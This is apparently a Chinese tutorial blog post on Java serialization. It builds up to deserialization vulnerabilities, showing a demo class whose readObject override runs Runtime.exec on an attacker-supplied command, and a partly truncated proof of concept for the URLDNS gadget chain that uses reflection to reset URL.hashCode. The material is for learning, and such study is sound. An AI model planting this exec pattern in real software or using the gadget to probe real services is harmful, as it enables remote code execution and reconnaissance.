前言
在学习java io流操作时涉及到了序列化和反序列化,顺便就把这节内容单独写出来。
序列化与反序列化
Java序列化是指把Java对象转换为字节序列的过程,而Java反序列化是指把字节序列恢复为Java对象的过程。
序列化将数据分解成字节流,以便存储在文件中或在网络上传输。反序列化则将打开字节流并重构成对象,恢复数据。
-
ObjectOutputStream
类的writeObject()
方法可以实现序列化,将对象转化为字节流。 -
ObjectInputStream
类的readObject()
方法用于反序列化,将字节流重构为对象。
序列化实现的方式是
- 将要序列化的类必须实现 Serializabel 接口,标识该类可序列化。
- 类里面需要提供常量值serialVersionUID
注意:serialVersionUID 用来表明类的不同版本间的兼容性,在反序列化过程中用于验证序列化对象的发送者和接收者是否为该对象加载了与序列化兼容的类。在进行反序列化时,JVM会把传来的字节流中的serialVersionUID与本地相应实体类的serialVersionUID进行比较,如果相同就认为是一致的,可以进行反序列化,否则就会出现序列化版本不一致的异常(InvalidCastException)。
serialVersionUID 有两种显示的生成方式
- 一种是默认的1L,如:
private static final long serialVersionUID = 1L;
- 第二种是是根据类名、接口名、成员方法及属性等来生成一个64位的哈希字段,如:
private static final long serialVersionUID = xxxxL;
静态成员变量是不能被序列化。
transient 标识的成员变量不参与序列化。
实例
创建Person类
import java.io.Serializable;
public class Person implements Serializable {
public static final long serialVersionUID = 1L;
private String name;
private int age;
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
@Override
public String toString() {
return "Person{" +
"name='" + name + '\'' +
", age=" + age +
'}';
}
}
用序列化的方式将person类写入test.dat中
public void test1() throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
obos.writeObject(new Person("cseroad",18));
obos.close();
}
查看二进制内容,ac ed 00 05是 java 序列化内容的特征
再用反序列化的方式读入person类
public void test2() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("test.dat");
ObjectInputStream obis = new ObjectInputStream(fileInputStream);
System.out.println(obis.readObject());
}
如果标记age
为transient
,则age
不参与序列化操作。
反序列化结果随机为
反序列化漏洞
在反序列化代码中,ObjectInputStream的readObject方法将数据流序列化为对象。
如果 readObject() 方法被重写且编写不当,反序列化时就会调用重写的 readObject() 方法并导致恶意代码执行。
即Person类重写构造器
public Person(String name, int age,String cmd) {
this.name = name;
this.age = age;
this.cmd = cmd;
}
重写readObject方法
private void readObject(java.io.ObjectInputStream stream) throws Exception {
stream.defaultReadObject();
// 执行默认的 readObject() 方法
Runtime.getRuntime().exec(cmd);
}
重新序列化操作
public void test1() throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
obos.writeObject(new Person("cseroad",18,"/System/Applications/Calculator.app/Contents/MacOS/Calculator"));
obos.close();
}
当再次执行反序列化操作时,命令就会得以执行。
public void test2() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("test.dat");
ObjectInputStream obis = new ObjectInputStream(fileInputStream);
System.out.println(obis.readObject());
}
实际应用的反序列化漏洞会更加复杂。
至少需要满足以下几点:
共同条件:继承 Serializable
- 入口类 source (即找到重写 readObject方法,调用常见的函数,参数类型宽泛 最好 jdk 自带)
- 调用链 gadget chain (基于类的默认方式调用)
- 执行类 sink (RCE、SSRF、写文件等操作)
DNSURL gadge 分析
首先HashMap
类里重写了readObject
方法,该方法的putVal
方法会读取键和值并放入HashMap
。
查看hash
方法的源代码
如果 key == null,hashcode 赋值为 0。key 存在的话,则调用 key 的hashcode
方法。
假设key传递的是URL对象,就会调用URL对象的hashcode
方法。
当 hashcode 不为 -1时,就会返回hashcode
。
当 hashcode == -1 时,就会调用URLStreamHandler类
的hashCode
方法。
在第359行,调用getHostAddress
获取域名对应的 IP。
捋清楚以上过程,我们尝试编写一下poc。
创建HashMap集合,再创建一个URL对象并添加进去,然后进行序列化和反序列化。
public void poc1() throws IOException, ClassNotFoundException {
HashMap
执行后发现竟然执行了两次查询。
当序列化操作时,就会进行一次DNS查询。跟进代码查看
调用put
方法时就会执行hash
方法,然后调用URL对象的hashcode
方法。
进而执行了URLStreamHandler类
的hashCode
方法,调用getHostAddress
获取域名对应的 IP。
所以要想序列化时不进行DNS查询,在序列化的时候,需要设置hashcode
不为 -1。
那如何设置hashcode
值呢?利用反射修改hashcode
值。
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
f.set(url, 0xabcdef);
设置hashcode
为0xabcdef
,即11259375。
当执行到URL对象的hashcode
方法时,hashcode
不为-1,直接return
。
以上就解决了序列化的过程。而反序列化时需要进行DNS查询,所以在hashMap
的put之后,再将hashcode
修改回-1。
即
public void poc1() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap
回顾整个过程,简单画个思维脑图
完整poc为
import org.junit.Test;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class TcpTest {
public void serialize(Object obj) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("test.dat");
ObjectOutputStream obos = new ObjectOutputStream(fileOutputStream);
obos.writeObject(obj);
obos.close();
}
public void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("test.dat");
ObjectInputStream obis = new ObjectInputStream(fileInputStream);
obis.readObject();
}
@Test
public void poc1() throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
HashMap
总结
通过java基础的序列化操作,利用IDEA debug操作和一点反射内容分析了最简单的DNSURL 调用链。
参考资料
https://xz.aliyun.com/t/6787#toc-10
https://xz.aliyun.com/t/9417